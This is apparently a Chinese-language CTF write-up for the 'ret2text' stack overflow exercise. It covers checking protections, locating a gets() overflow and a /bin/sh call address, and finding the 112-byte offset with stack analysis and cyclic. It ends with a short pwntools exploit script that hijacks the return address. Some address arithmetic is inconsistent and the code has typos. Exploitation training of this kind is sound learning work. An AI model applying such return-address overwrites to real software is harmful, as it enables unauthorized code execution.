思路:1.确定漏洞类型和保护机制
2.确定可利用的代码段和地址
3.确定偏移地址
首先file ret2text 
checksec ret2text
可以看见只开了个NX,也就是
那么只能用ROP
放到IDA
可以看出程序在主函数中使用了 gets 函数,显然存在栈溢出漏洞
shhift +f12 看看有没有我们可以直接利用的程序段
得知/bin/sh地址在0x0804863A
接下来需要考虑的是可控内存的起始地址距离main函数的返回地址的距离
这里有两种方法
1.分析栈的情况
这里我想说一下为什么在call gets下断点,因为这个时候s还没初始化,只是被定义,直到调用get函数,之前 s才会进栈,那么这个时候在call gets下断点,此时字符串刚刚栈,
此时寄存器中显示的就是字符串刚进栈时的esp和ebp
此时ESP:0xffffd020 EBP:0xffffd0a8
根据
就可以轻松的锁定s的范围
也就是
ebp的地址-esp地址+1ch 也就是0xffffd0c8-(0xffffd040 + 0x1c)= 0x6c 又因为还得覆盖ebp 所以还得+4字节
所以总偏移就是0x6c+4
2.通过cyclic工具创建200个字符串
这个时候gdb跑一下 直接把字符串全给过去,让他溢出

可以看见Program received signal SIGSEGV (fault address 0x62616164) 程序在这里停止了
cyclic -l 0x62616164 可得出从输入内存可控起始地址到ret地址的字节数
112
那么接下来就是编写exp
from pwn import
sh = process(‘./ret2text’)
target=0x0804863A
payload = ‘A’112 + p32(target)
sh.sendline(payload)
sh.interactive()
